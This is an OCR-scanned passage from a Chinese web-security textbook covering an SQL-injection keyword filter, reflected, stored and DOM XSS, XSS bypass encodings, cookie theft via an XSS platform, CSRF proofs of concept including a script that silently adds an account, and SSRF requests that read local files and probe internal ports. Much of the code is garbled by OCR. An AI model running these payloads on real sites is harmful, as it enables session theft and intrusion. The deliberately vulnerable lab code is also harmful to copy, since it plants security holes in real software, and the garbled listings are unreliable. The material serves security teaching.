} 
／／发布版本的程序可能几乎不包括仁 ” “＃”这样的注释， 但是黑客经常使用它们

elseif(st叩os($clean ，’／＊ ’） > 2 11 st 「pos($clean ，’ ”” ’） ! == FALSE 

11 st 「pos($clean, '#') !== FALSE) 

{ 
$fail= TRUE; 
$e「「O「＝” comment detect ” j 

／／这些函数不会被使用，但是黑客会用它来操作文件， down 掉数据库

elseif(strpos($clean, 'sleep ’) ! == FALSE && 

pr、eg_match （＇～（ ＂ I [ "a-z])sleep($I [" [a -z ])~s' ,$clean) != 0) 

{ 
$于ail= TRUE; 
$e「「O「＝” slown down detect ”; 

elseif(st叩os ($clean ，’ benchma 「K ') !==FALSE && 

preg_match (’~( " I [ " a - z] )benchma「k($ I [ " [a-z ])~s ’, $clean) ！＝ θ） 

{ 
$fail= TRUE; 

$e「「O「＝” slown down detect ”; 
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elseif(strpos($clean ,’ load_ file ’) !== FALSE && 

P「eg_match （ ’ ～（ ＂ I ["a-z])load_file($I [ " [a-z ））～s ’， $clean ）！＝ θ） 

{ 
$fail= TRUE; 
$e「「O「＝”file 手un detect"; 

elseif(st「pos($clean ，’ into out手ile ') !==FALSE && 

P「eg_match （’~＜＂ I ［ 八a-z])into\s+outfile($I [" [a-z ])~5 ’,$clean) ! ＝ θ ） 

{ 
$fail= TRUE; 
$e「「or、＝”file fun detect "; 

} 
／／老版本的 MySQL 不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它查询数据

库敏感信息

elseif(preg_match （’～＼（［ 八 ）） ＊ ？ select～s ',$clean) != 0) 

{ 
$fail= TRUE; 
$e「「O「＝＂ sub select detect" ; 

if(! empty($fail)) 

{ 

fputs(fopen($log_file, 'a+’) J ” $use「IP 11 $getU「l I I $db_st「ingl I $e「「or\r\n");
exit (”<f ont size=’ 5 ’ co lo「＝＇「ed '> Safe Ale「t: Request E「「O「 step

2 ! </font >”); 

} 
else 

「etu 「n$db_st「ing;

使用过滤的方式，在一定程度上可以防止SQL注入漏洞，但仍然存在被绕过的可

能。

2. 使用预编译语句

其实使用PDO预编译语句，需要注意的是，不要将变量直接拼接到PDO语句中 ，

而是使用占位符进行数据库的增加、 删除、修改、 查询 。
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4.4 ×SS 基础

4.4.1 xss 漏洞介绍

跨站脚本（ Cross-Site Scripting，简称为xss或跨站脚本或跨站脚本攻击）是一种

针对网站应用程序的安全漏洞攻击技术，是代码注入的一种 。 它允许恶意用户将代

码注入网页，其他用户在浏览网页时就会受到影响。 恶意用户利用xss代码攻击成功

后，可能层到很高的权限（如执行一些操作〉、私密网页内容、会话和cookie等各种

内容。

xss攻击可以分为三种 ： 反射型、存储型和DOM型。

4.4.2 xss 漏洞原理

1 . 反射型 xss

反射型xss又称非持久型xss，这种攻击方式往往具有一次性。

攻击方式：攻击者通过电子邮件等方式将包含xss代码的恶意链接发送给目标用

户。当目标用户访问该链接时，服务器接收该目标用户的请求并进行处理，然后服

务器把带有xss代码的数据发送给目标用户的浏览器，浏览器解析这段带有xss代码

的恶意脚本后，就会触发xss漏洞。

2. 存储型 xss

存储型xss又称持久型xss，攻击脚本将被永久地存放在目标服务器的数据库或

文件中，具有很高的隐蔽性。

攻击方式： 这种攻击多见于论坛、博客和留言板，攻击者在发帖的过程中，将

恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来，恶意

脚本也永久地被存放在服务器的后端存储器中 。 当其他用户浏览这个被注入了恶意

脚本的帖子时，恶意脚本会在他们的浏览器中得到执行。

例如， 恶意攻击者在留言板中加入以下代码。

< script >ale「t(/hacke「 by hacke「／） ＜／ s c ript >)
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当其他用户访问留言板时，就会看到一个弹窗。 可以看到，存储型xss的攻击方

式能够将恶意代码永久地嵌入一个页面中，所有访问这个页面的用户都将成为受害

者。 如果我们能够谨慎对待不明链接，那么反射型xss攻击将没有多大作为，而存储

型xss则不同，由于它注入在一些我们信任的页面，因此无论我们多么小心，都难免

会受到攻击。

3. DOM 型×SS

DOM全称Document Object Model，使用DOMPJ以使程序和脚本能够动态访问和

更新文档的内容、结构及样式。

DOM型xss其实是一种特殊类型的反射型xss，它是基于DOM文档对象模型的

一种漏洞。

HTML的标签都是节点，而这些节点组成了DOM的整体结构一一节点树。通过

HTML DOM，树中的所有节点均可通过JavaScript进行访问 。 所有HTML元素（节点）

均可被修改，也可以创建或删除节点。 HTML DOM树结构如图4-80所示。

元素：
<head> 

元案：
<title> 

文本：
‘文挡标题却

图4-80 HTML DOM中对

鹿1生：
href 

文挡

银元素：
〈忧ml>

元素：
<a> 

文本：
‘我的链mN

元素：
<hl> 

文本：
‘我的标milN

在网站页面中有许多元素，当页面到达浏览器时，浏览器会为页面创建一个顶

级的Document object文档对象，接着生成各个子文档对象，每个页面元素对应一个文

档对象，每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑，

从而修改页面的元素。 也就是说，客户端的脚本程序可以通过DOM动态修改页面内
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容，从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的，

所以基于DOM型的xss漏洞不需要与服务器端交互，它只发生在客户端处理数据的

阶段。

攻击方式：用户请求一个经过专门设计的URL，它由攻击者提交，而且其中包

含xss代码。服务器的响应不会以任何形式包含攻击者的脚本。 当用户的浏览器处理

这个响应时， DOM对象就会处理xss代码，导致存在xss漏洞 。

4.4.3 反射型 xss 攻击

页面http:// 192 . 168.1.101 /xss/xssl .php实现的功能是在 “输入”表单中输入内容，

单击“提交”按钮后，将输入的内容放到“输出” 表单中，例如当输入“ 11 ”， 单击

“提交”按钮时，“ 11 ”将被输出到“输出”表单中，效果如图4-81所示。

4二 σ （！） 192.168.1 . 101 /X国／xss1.php?x臼J叩ut_value•11

!ell们··入的，将··出到＂＂＂＂.舶alue8tt&

诩·入银理E踵的李帽．

输入

ll3l 

11 

图4-8 1 输入参数被输出到页面

当访问 htψ：／／ 192.168.1.101/xss/xssl .php?xss _input_ value=”><img src= 1 on error= 

al创（／汩的 ／＞时，输出到页面的HTML代码变为＜input type＝川text” value＝””＞ <img src=l 

onerror=alert(/xss/) ／＞”〉，可以看到，输入的双引号闭合了value属性的双引号，输入

的＞闭合了input标签的＜，导致输入的＜img src= 1 one盯or= ale口（／汩的 ／＞变成了HTML

标签，如图4-82所示。
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<html> 
<bead> 

<meta http-equiv•叫c。ntent-Type ” c。ntenta” text/html; charsetautf-8”/>
<title>XSS利用输出的环境来树造代码＜／title>

</bead> 
<b。dy>

<center> 
<b6＞把我们输入的字街串输出到input垦的value属性里＜／b6>
<f。rm acti。n•”” me乞h。cl• ” get ”〉

<b6＞谓输入你想显现的字符串＜／b6>
<input t”。”” text ” naaae• ”xss_input_value ” value•＂输入＂＞＜br /> 
<input type• ” submit ”>

</f。rm>
<hr> 
<i呻ut type~ ＂ text ” value＝”’〈扭咱 area! onerror=alert ( /xss/) />”> It center> 

</b。dy>
</html> 

图4-82 输入xss代码

接下来，在浏览器渲染时，执行了＜img src= 1 oneηor=alert(/xss币 ／＞， JS函数alert()

导致浏览器弹框，显示“／xss／”，如图4-83所示。

图4-83 浏览器执行了xss代码

4.4.4 反射型 xss 代码分析

在反射型XSS PHP代码中，通过GET获取参数xss_input_value的值，然后通过echo

输出一个input标签，并将xss_input_ value的值放入input标签的value中。当访问xss一

input_ value=”><img src= 1 oneπor=alert(/xss巧／＞时，输出到页面的HTML代码变为

<input type="text” value=’”’><img src= 1 onerror=alert(/xss/) ／＞怡， 此段HTML代码有两
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个标签，＜input>标签和＜img＞标签，而＜img＞标签的作用就是让浏览器弹框显示“／xss／”，

代码如下所示。

<html > 
<head > 

<meta http-equiv="Content-Type ” content=” text/html; cha「set=utf-8”／〉

<title >XSS 利用输出的环境构造代码＜／title >

</head > 
<body > 

< cente「〉

< h6＞把我们输入的字符串输出至lj input 里的 value 属性里＜／h6 >

< fo「m action=”” method=” get ” >

</fo「m >

< h 「〉

<?php 

?>

<h6＞请输入你想显现的字符串＜／h6>

<input type=”text" name＝飞ss_input_value" value＝＂输入”＞＜ b「／〉

<input type=” submit" > 

if (isset($_GET[ ' xss_input_value' ])) { 
ec ho '<input type=”text ” value=”'.$_GET [’ xss_input_val ue '].' ”>'; 

}else{ 
ec ho ’ <input type＝”text ” value＝”输出 ＂ ＞ ＇；

</ cente「〉

</body > 

</html > 

4.4.5 储存型 xss 攻击

储存型xss页面实现的功能是： 获取用户输入的留言信息、标题和内容，然后将

标题和内容插入到数据库中，并将数据库的留言信息输出到页面上，如图4-84所示。

组λ茵茵内窑

标题： 厂 | 

内窑 l J 
瑾丑

图4-84 输入留言信息
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当用户在标题处写入1，内容处写入2时，数据库中的数据如图4-85所示。

＋远项

• T• v 11 id .,tit le it content 

0 R' 缩辑~，；重制 ＠ 删除 1 1 2 

今 「1 全i在 接q;, fl霄a ／~ {1萨剖7 6‘ 酬盼 ~ 

图4-85 保存留言信息到数据库

当输入标题为＜img src= X onerror=alert(/xss冯 ／＞，然后将标题输出到页面时，页面

执行了＜img src= 1 onerror=alert(/xss/) ／＞，导致弹出窗口 。 此时，这里的xss是持久性

的，也就是说， 任何人访问时该URL时都会弹出一个显示“／xss／”的框，如图4-86所

刁亏。

图4-86 存储型xss

4.4.6 储存型 xss 代码分析

在存储型xss的PHP代码中，获取POST参数title和参数content，然后将参数插入

数据库表xss中，接下来通过select查询将表xss中的数据查询出来，并显示到页面上，

代码如下所示。

<html > 
<hea d> 

<meta http-equiv="Cont ent-Type" content=” text/html;charset=utf-8”/>
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<title＞留言板＜／title >

</head> 
<body > 
<cente「〉

< h6＞输入留言内容＜／ h6 >

< fo「m action=”“ method="post ” >

标题：＜input type＝”text ” name＝吨itle” ＞＜ b「／〉

内容：＜text a 「ea name＝” content ” ＞＜／texta「ea >< br /> 
<input type=” submit" > 

</fo「m >

<hr > 
<?php 

$con ＝『『1ysqli_connect （” localhost ＂，”「oot ”，” 123456 ”， ＂ test ”）；

i于（ mysqli_connect_e「「「10())

{ 
echo ”连接失败： ＂ • mysqli_connect_e「「O「（）；

i手（ isset($_POST ［’ title'])) { 
$「esultl = mysqli_query($con,"inse「t into xss （‘ title、， 、 content 、 ）

VALUES ('".$_POST[ 'title ’].”·,’” . $_POST [’ content ’].”' )”); 

} 
$「esult2 ＝『nysqli_que「y($con, "select ＊ 手「om xss ”); 

echo 飞table bo「der＝ ’ 1' >< tr ><td ＞标题＜／td ><td ＞内容＜ ／td></tr ＞ ” ；

while （$「ow = mysqli_fetch_a俨「ay （$「esult2))

{ 
echo ”＜ t 「＞＜td ＞” ．$「ow ［’ title ’].”</ td><td >” 

$「ow[' content ’].”</td >"; 

} 
echo "</table>”; 

?> 

</cente「〉

</body > 
</html> 

当用户在标题处写入＜img src= 1 onerror=alert(/xss/) ／＞时，数据库中的数据如图

4-87所示。

id title content 

笔，
．

1 >,,, nH 
P、d

r
、d

VA MV 
内
e 2M -- r o v’ ,E O-- nH O - -- r、

FB 
P
、d

nHd m <1 

图4-87 存储到数据库中的xss代码
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当将title输出到页面时，页面执行了＜img src= 1 onerror=alert（／囚的／＞，导致弹窗。

4.4.7 DOM 型 xss 攻击

DOM型xss攻击页面实现的功能是在“输入”框中输入信息，单击“替换”按

钮时，页面会将“这里会显示输入的内容”替换为输入的信息，例如当输入“ 11 ”

的时候， 页面将“这里会显示输入的内容”替换为“ 11 ”，如图4-88和图4-89所示。

恒豆豆豆示画豆豆的内容

睡2三
B因

图4-88 HTML页面

11 

阳
」
型E

图4-89 替换功能

当输入＜img src= 1 onerror=alert(/xsss/) ／＞时，单击“替换”按钮，页面弹出消息

框，如图4-90所示。

[hit 

图4-90 DOM ×SS 
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从HTML源码中可以看到，存在JS函数tihuan（），该函数的作用是通过DOM操作

将元素idl （输出位置）的内容修改为元素dom_input （输入位置）的内容，如图4-91

所示。

<html > 
<head> 

<meta http-equiv＝’c。ntent-Type· c。ntent＝’text/html :charset=utf-8’ />
<ti tle>Test(/ti tle> 
<script type=’ text / javascript ’ >

function tihuanO { 
document . getElementBy ld （飞dl •). innerHTML = d。cument. getElementByld （飞。m_input’） . value, 

(/script) 
</head> 
(b。dy)

( center> 
<h6 i d＝飞dl’〉这'J！会~Li＜输入的内容＜／h6>
<form action=·’ me th。d＝’p。st’〉

<input type=’text’ id＝飞。m_input· value=’输入’＞＜br I> 
<input type=’button’ value=’ M挟’ 。nclick＝’t ihuan ()’>

(/form> 
( hr) 

(/center> 
<lb。dy>
</html> 

图4-91 HTML源码

4.4.8 DOM 型 xss 代码分析

DOM型xss程序只有HTML代码，并不存在服务器端代码，所以此程序并没有

与服务器端进行交互，代码如下所示。

<html > 

<head > 
<meta http-equiv=” Content-Type" content="text/html;char、set=utf-8”／〉

<title>Test</title> 
< SC 「ipt type="text / javasc「ipt" >

function tihuan () { 

document. getElementByid （ ” idl ”） .inner、HTML = 
document.getElementByid("dom_input") . value; 

</ SC 「ipt >

</head > 
<body > 

< cente「〉

<h6 id＝” idl ”〉这里会显示输入的内容＜／h6 >
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<for『『l action=”” method=” post"> 

</fo「m>

< h 「〉

<input type=”text" id＝”dom_input ” value＝”输入”＞＜ b「／〉

<input type＝飞utton" value＝”替换” onclick=” tihuan ()”>

</center> 
</ body> 
</html> 

单击“替换”按钮时会执行JavaScript的tihuan（）函数，而tihuan（）函数是一个DOM

操作，通过docurnent.getElementByld获取ID为idl的节点，然后将节点idl 的内容修改

成id为dom_input中的值，即用户输入的值。 当输入＜img src= 1 onerror=alert(/xss吟／＞

时，单击“替换”按钮，页面弹出消息框，但由于是隐式输出的，所以在查看源代

码时，看不到输出的xss代码。

4.5 xss 进阶

4.5.1 xss 常用语句及编码绕过

xss常用的测试语句有：

• <script> alert( l )</script> 

• <img src=x one盯or=ale口（ 1) > 

• <svg onload=alert( 1) > 

• <a href=javascript:alert(l) > 

常见的xss的绕过编码有JS编码、 HTML实体编码和URL编码。

1. JS 编码

JS提供了四种字符编码的策略，如下所示。

• 三个八进制数字，如果个数不够，在前面补0，例如“e”的编码为“＼145 ”。. 两个十六进制数字，如果个数不够，在前面补0，例如“e”的编码为“\x65 ”。. 囚个十六进制数字，如果个数不够，在前面补0，例如“e”的编码为“＼u0065 ”。. 对于一些控制字符，使用特殊的C类型的转义风格（例如怡和ω 。
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2. HTML 实体编码

命名实体：以＆开头，以分号结尾的，例如“＜”的编码是“＆It；”。

字符编码：十进制、十六进市IJASCII码或Unicode字符编码，样式为“＆＃数值；”，

例如“＜”可以编码为“＆＃060；”和“＆＃x3c；”。

3. URL 编码

这里的U也编码，也是两次URL全编码的结果。如果 alert被过滤，结果

为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%340 

在使用xss编码测试时，需要考虑HTML渲染的顺序，特别是针对多种编码组合

时，要选择合适的编码方式进行测试。

4.5.2 使用 xss 平台测试 xss 漏洞

本书的第2章讲解过如何搭建xss平台，本节介绍来讲如何使用xss平台测试

xss漏洞。

首先在xss平台注册账并登录，单击“我的项目”中的“创建”按钮，如图4-92

所示。

貌的项目 倒嗣项目

＼砸自在幢 项目擅罩 内曹匾 回匾时圃 ，．仰

鲁田a搞 创

公共蟹换

u 

’Al记’l3

X剧E钊徊’只（Ii磁）

膀的t'ilt

Jav槌UψICCF饵”

图4-92 ×SS平台首页

页面中的名称和描述是分类的，随意填写即可。 勾选“默认模块”选项后单击

“下一步”按钮，如图4-93所示。
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将利用代码插入到存在xss漏洞的URL后，查看源代码。发现浏览器成功执行

xss的利用代码，如图4-95所示。
－一 一一一一一－LOadVRL ""'”’"'""" hltp 1/172 16 2。。η，... ~酬＂＇＂＇＇＂＂”’ php
S例hURl

...曲，．

l <htm.l> 
2 <head> 

<meta http-equiv•"C。ntent-Type ” c。ntent• ” text/html; charset• utf-8 ”/:>
<title>XSS利用输出的环槐来构造代码＜／title>

</head> 
'· <b。dy>

<center > 
<h6＞把我们输入的字符事输出￥！］input里的value属性皇＜／h6>
〈羞。rm action＝田 ” meth。d•”get">

<h6＞谱输入你想显现的字符串＜／h6>
I, <input 乞ype• ”text ” a皿＠罩”xss_input_value" value嚣’输入”＞＜br /> 
12 <input type-"submit "> 

, </form> 
<hr> 
<input t野俨＂text” vaJ.ue• " </tExtArEa>' ‘ ><&CR1Pt sRc~坠望丘位旦二·’ ι哩旦旦量豆、，＜／sCripT> ”〉 </center> 

</b。dy>
』＇ </htm.l> 

图4-95 目标用户访问的恶意链接

回到xss平台，可以看到我们己经获取了信息，其中包含来源地址、 cookie 、 IP 、

浏览器等，如果用户处于登录状态， 可修改cookie并进入该用户的账户， 如图4-96所

刁丐。

项目名称： 11
D。main: 全部 、 B←←←此处可遮掩帽要查馨的域名

｛＋全部 时闰 锺收的内容 Request Heade帽 撮作

〔 眩’自 2017-12-01
。1:28:37

• locati。n h忧p://127 o 0.1/xs 
sl.php?x臼＿inpvt_v.由e=%

3C驰2FIExtArEa%3E%27%

22%3E%3CsCRIPt sRC%3 
Ohltp%3A%2F驰2F执…'I!;

· ．飞，...’田， · 、．．．． 电墨 、

‘ ... -..........τ . .. 
• topl。can。n hltp://127 0.0 1 
／四s1 php？陆s_input_value=

%3C%2FtE且＂＇仨a%3E驰27

%22%3E%3CsCRiPt sRC% 
3Dhttp%3A%2F%2 …圃

’A吊凹 ． 咽’ 咽咽3C

%2FsC巾T驰3E

·∞。kie 臼rltok副司7711回刨

T d9E4ZbmgR21aPcypO日9Ca
O; ysrc_t。k酬i=Oa5teaa1 b01 
1647442c8547f86b09a17; u 
ser_name=admin; user” pass 
=08b8e404c8499筒9咄咄a3

bb6何3a3c7

图4-96 在xss平台获取目标用户的cookie信息

•HπP _REFERER : hltp://127 删除

.0.日 1 ／.阻s1 php?x臼」npvt_v

alue=%3C%2FIE目IVEe%3

E驰27%22%3E%3CsCRi问

+sRC辄窍门h句、'l<•i>.岖’F也E

F＂＂－~弘~..！犯””··．」＝...先
3E%3C驰2FsC叫pT%3E

• HTTP _USER_AGENT : Mozll 
la/5.0 阳acintosh; Intel Mac 
OS X 10.12; rv:53.0) G盹ko/

20100101 Fl悟fox/53.0

• REMOTE. O审··．．·也

.209 

•IP-ADDA • 1. • •+ 
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4.5.3 xss 漏洞修复建议

因为xss漏洞涉及输入和输出两部分，所以其修复也分为两种。

• 过滤输入的数据，包括“’” “””“＜”“〉”“on＊”等非法字符。

• 对输出到页面的数据进行相应的编码转换，包括HTML实体编码、 JavaScript

编码等。

4.6 CSRF 漏洞

4.6.1 介绍 CSRF 漏洞

CSRF ( Cross-site request forgery ， 跨站请求伪造〉 也被称为One Click Attack或者

Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起

来像跨站脚本 CXSS），但它与xss非常不同， xss利用站点内的信任用户，而cs盯

则通过伪装成受信任用户请求受信任的网站。与xss攻击相比， CSRF攻击往往不大

流行（因此对其进行防范的资源也相当稀少）也难以防范，所以被认为比xss更具危

险性。

4.6.2 CSRF 漏洞的原理

其实可以这样理解cs盯：攻击者利用目标用户的身份，以目标用户的名义执行

某些非法操作。 cs盯能够做的事情包括：以目标用户的名义发送邮件、发消息，盗

取目标用户的账号，甚至购买商品、虚拟货币转账，这会泄露个人隐私并威胁到了

目标用户的财产安全。

举个例子，你想给某位用户转账100元，那么单击“转账”按钮后，发出的HTTP

请求会与http://www.xxbank.com/pay.php?user=xx&money= 100类似。 而攻击者构造链

接（ http://www.xxbank.com/pay.php?user=hack&money= 100 ），当目标用户访问了该

URL后，就会自动向Hack账号转账100元，而且这只涉及目标用户的操作，攻击者并

没有获取目标用户的cookie或其他信息。

CSRF的攻击过程有以下两个重点。
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• 目标用户己经登录了网站，能够执行网站的功能。. 目标用户访问了攻击者构造的URL。

4.6.3 利用 CSRF 漏洞

CSRF漏洞经常被用来制作蠕虫攻击、刷SEO流量等。 下面以蠕虫攻击为例，图

4-97展示了一个博客系统发布文章的页面，接着单击“发布文章”按钮并使用Burp

Sui et抓包。

!II写斯文’E

恤“. yiwang6. en/ index. php/archives/ {c Id} I 

B I 回“＜＞ lit) 1= ：三最 fil! F* 气J .. 口 ’写 Jill

， 自定义，段 \ 保膊稿画圈
图4-97 发布文章功能

可以看到在Burp Suite中，有一个自动构造CSRF Poe的功能（右击→Engagement

tools• Generate CSRF PoC），如图4-98所示。
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Send to Spider 

Do an active scan 

st 
Send to Intruder 2唱＋《＋ I

1h&1>arkdown=lιdate= 
Send t。 Repeater X + < + R

&tags• 

Send to Sequencer 

Send to Comparer 

Send to Dec。der

Request in browser 、，

·,.·.. …… | Change request method Discover content 
Change b。dy enc。ding Schedule task 
Copy URL ... •; 

Copy as curl command 

Copy z。 file

Paste from file 
Save item 

Don't intercept reques ts .. 
D。 intercept .. 
Convert selection ” URL-encode as you type 

Cut 目＋《＋X

Copy x ＋~＋c 

Paste 目＋ ~ ＋v

Message editor help 

Proxy i ntercepti。n help 

图4-98 Burp生成CSRF Poe 

Bu叩 Suite会生成一段HTML代码，此HTML代码即为CSRF漏洞的测试代码，单

击“Copy HTML”按钮， 如图4-99所示。

CSRF HTML 

运hti石l>

<! -- CSRF Poe - g咽nerated by Burp Sui企e Protessi。nal －唱〉
<b。dy>

<script>history .push S也·也·〈－－，”，－／·】＜／scr丰pt >
〈辈。rm

action＝”http ： ／／辆圃 ， 』－ ~ / index. php /action /contents-p。st -edit ?_=fe.9782 36b09fd36c 3ef4b6a8 
2el0fc5a" meth。d＝ ” POST ”〉

<input type=” h id den ” name= " title 唰 value＝ ” l • /> 
<input type= "hidden • name＝ 咽 text 钳 value＝ ” 12 ”／〉
<input type=” hidden ‘ name=” f ieldNames ＆举91;&#93 ； ” value＝帽”／〉
<input type= ”hidden • name=’ f ieldTypes&#91; &#9 3 ， ” value＝ 叫 s tr ”／〉
〈立nput type＝ 伺 hidden ’ nMe= • f ieldValues &#9 l; &# 93; • value＝ 冽 ” ／〉
<input type=” hidden • name= ’cid " value＝”啕／〉
<input type=” hidden ’ name＝ ”d。” value＝ 向 publish ” ／〉
<input type=” hidden " name＝气narkd。wn ” value= " l ”/>
<input type=” hidden ” name=”date ” value＝铺”／〉
t" ifil>Ut 皇YI!更＝ 呻 hidden ” name=” tags ” value＝例”／〉

CD 巳3巳J GJ ITypea町ch term 一一→ I 0 matd 

G豆~ [ Test in brows叫~~

图4-99 Burp生成的HTM L代码

将CSRF测试代码发布到一个网站中，例如链接为http://xx.com/1.html，如图4- 100
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图4-100 发布CSRF PoCflj网站中

接着诱导目标用户访问http ://xx.com/ 1.html ， 当目标用户处于登录状态，并且在

同一浏览器访问了该网址后，目标用户就会自动发布一篇文章，如图4-101所示。 这

个攻击过程就是cs盯利用的过程。

叉，ITE撞撞布

胃唱且’且 跚跚

迭。， 霄，aλ关锺字 Iii 

银凰 仰． ”’随 日”

U如w、 例”

图4-101 目标用户自动发布了文章

4.6.4 分析 CSRF 漏洞代码

下面的代码是后台添加用户的代码，执行的流程如下所示。

• 获取GET参数userτiame和参数password，然后通过select语句查询是否存在

对应的用户，如果用户存在，会通过$ SESSION设置一个session:isadmin
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=admin，否则设置session : isadmin=guest 。

• 接下来判断session中的isadmin是否为admin ， 如果isadmin ! = admin，说明用

户没有登录，那么跳转到登录页面。 所以只有在管理员登录后才能执行添

加用户的操作 。

• 获取POST参数usemame和参数password ， 然后插入users表中 ， 完成添加用

户的操作。

<?php 
session_start(); 
if (isset($_GET [’ login'])){ 

$con=mysqli_connect("localhost" , "root ” , ” 123456 ” 3 ” test"); 
if （「『1ysqli_connect_e「「「10())

{ 
echo ”连接失败：＂ • mysqli_connect_er「O「（） ；

$user、name = addslashes($_GET ［’ use俨name ’］） ; 
$passwo「d = $_GET [’ pas s wo r d ’] ; 
$「esult ＝「nysqli_que「y ($ con , "select * from use「s whe「E

、 use俨name 、 ＝… .$use「nar『1 e . … and 、 passwo「d ‘ ＝ ’” .md5($passwo「d ）.””’）；

$「ow = mysqli_fetch_ar「ay ( $result);

}else{ 

if ($row) { 

}else{ 

$_SESSION [’ isadmin'] = 'admin ’; 
exit （”登录成功”） ；

$_SESSION [ ’ isadmin ’]=’ guest' ; 
ex it （ ”登录失败”）；

$_SESSION [’ isadmin'] = ’ guest' ; 

if ($_SESSION [’ isadmin'] != 'admin ’ ){ 
exit( 

} 
if (isset($_POST ［ ’ SL』bmit ’ ］））｛

if (isset($_POST ［’ use「name ’］））｛

$「esultl ＝『nysqli_que「y($co『i ," insert into use「s （ 、 use「name 、 ，

、 passwo「d、） VALUES （’”.$＿POST ［’ use「name ’ ］ ． ．， ． ， ’” .md5($_POST['password ＇ ］）.”’）“）；

exit($_POST ［’ use「name ’］．”添加成功”） ；
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当管理员访问了攻击者构造的CSRF页面后，会自动创建一个账号， cs盯利用代

码如下。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 T「ansitional//EN”〉

<html> 
<head> 
<SC 「ipt type=”text/javascript" language＝” javasc 「ipt ”〉

va「 pauses = new Array(”16”); 
va 「 methods = new A「ray （”POST" ); 

var urls = new Array （” http://xxx.com/cs「f.php”）；

va「 pa「ams = new Ar「ay （” submit=l&username=l&password=l”） ; 
function pausecomp(millis) 

{ 
va「 date = new Date(); 

var cu「Date = null; 
do { cu「Date = new Date(); } 

while(curDate-date < millis); 

卡unction 「un() { 

va「 count = 1; 

va「 i=0;

fo「（ i=0; i<count; i++) 

{ 

} 

makeXHR(methods[i], urls[i], pa 「ams [i]); 
pausecomp(pauses[i]); 

va「 http＿「equest = false; 
function makeXHR(method, u「1, paramete「s) { 

http＿「equest ＝于alse;

if (window.XMLHttpRequest) { II Mozilla, Safa「i, . .. 
http_request = new XMLHttpRequest (); 
if (http＿「equest . over、rideMimeType) { 

http_request.ove「「ideMimeType （’ text I html ’); 

} else if (window.ActiveXObject) { II IE 
t「y { 

http一「equest = new ActiveXObject (’'Ms xml2 .XMLHTTP"); 
} catch ( e) { 
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t「y { 
http_request = new ActiveXObject("Mic 「osoft.XMLHTTP”）；

} catch (e) {} 

if ( ! http_request) { 
ale「t （’ Cannot c「eate XMLHTTP instance'); 
「etu「n false; 

} 

11 http＿「equest . on 「eadystatechange = ale「tContents;

if(method ==’ GET') { 
if ( url. indexOf (’?’) == -1) { 

U「1 = u「1 +’?’+ pa「ameters ;

} else { 
U 「1 = u「1 +’&’+ pa「amete「s;

http一「equest.open(method, u 「1, t 「ue);

http_request.send (””) ; 

} else i手（ method ==’ POST ’){ 
http_r、equest.open(method, u 「1, t 「ue);

http_r、equest.setRequestHeade r、（ ” Content-type",

"applicationlx -www-fo「「『1-u 「lencoded");

<l sc「ipt >

<I head> 

http_request.setRequestHeader、（＂ Content-length", pa「amete「s.length);

http一「equest.setRequestHeade「（＂ Connection”，”close”） ；

http_request.send(pa「amete「s);

<body onload＝”「u n （）” 〉

<I body > 
<I html > 

此代码的作用是创建一个AJAX请求， 请求的URL是http://xxx.com/csrf.php ， 参数

是submit=1&usemame=1&password=1 ，从上述PHP代码中可以看到，此AJAX请求就

是执行一个添加用户的操作，由于管理员己登录， 所以管理员访问此链接后就会成

功创建一个新用户。
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4.6.5 CSRF 漏洞修复建议

针对CSRF漏洞的修复，笔者给也以下这两点建议。

• 验证请求的Referer值，如果Referer是以自己的网站开头的域名， 则说明该

请求来自网站自己，是合法的。 如果Referer是其他网站域名或空白，就有

可能是cs盯攻击，那么服务器应拒绝该请求，但是此方法存在被绕过的可

能。

• cs盯攻击之所以能够成功，是因为攻击者可以伪造用户的请求，由此可知，

抵御CSRF攻击的关键在于：在请求中放入攻击者不能伪造的信息。例如可

以在HTTP请求中以参数的形式加入一个随机产生的token ， 并在服务器端验

证token，如果请求中没有token或者token的内容不正确，则认为该请求可能

是cs盯攻击从而拒绝该请求。

4.7 SSRF 漏洞

4.7.1 介绍 SSRF 漏洞

SSRF C Server-Side Request Forge可， 服务器端请求伪造）是一种由攻击者构造请

求，由服务端发起请求的安全漏洞。 一般情况下 ， SSRF攻击的目标是外网无法访问

的内部系统（正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与

外网隔离的内部系统）。

4.7.2 SSRF 漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有

对目标地址做过滤与限制 。 例如，黑客操作服务端从指定URL地址获取网页文本内

容，加载指定地址的图片等，利用的是服务端的请求伪造。 SSRF利用存在缺陷的Web

应用作为代理攻击远程和本地的服务器。

主要攻击方式如下所示。

• 对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息。. 攻击运行在内网或本地的应用程序。
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• 对内网Web应用进行指纹识别，识别企业内部的资产信息。

• 攻击内外网的Web应用，主要是使用HTTP GET请求就可以实现的攻击（比

如struts2 、 SQli等〉 。

• 利用自le协议读取本地文件等。

4.7.3 SSRF 漏洞利用

SSRF漏洞利用的测试地址： http://127 .0.0.1/ssrf.php?url=htψ：刀127.0.0.1/2.php 。

页面ssrf.php实现的功能是获取GET参数URL，然后将U虹的内容返回网页上。

如果将请求的网址篡改为http://www.baidu.com，则页面会显示http://www.baidu.com

的网页内容，如图4-102所示。

127.00.1/“rt.pl、p?ud o httpJ/ NWW.b.t>du.com • • • ~ .合自 4’台

匾自坦~－

..... _ 
Bai'CMs匡

图4-102 篡改URL网址

但是，当设置参数URL为内网地址时，则会泄露内网信息，例如，当url

= 192.168.0.2:3306时，页面返回“当前地址不允许连接到MySQL服务器”，说明

192.168.0.2存在MySQL服务，如图4-103所示。

令 I 127.0.0.1 /ssrf.php ?url = 192.168.0.2:3306 

F。~H。st ’192. 168.0.1 ’ is not allowed to c。nnect t。 this MySQL server 

图4-103 篡改URL网址为内网资源

访问ssrf.php?url=file:///C:/Windows/win.ini即可读取本地文件，如图4-104所示。
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① view-source:h忧p://127.0.0.1 /ssrf.php ?url =file:///C:/Windows/win.ini 

. for 16-bit app support 
、 ［fonts]

[extensions] 
[mci extensions] 
[files] 
[Mail] 
MAPI=l 

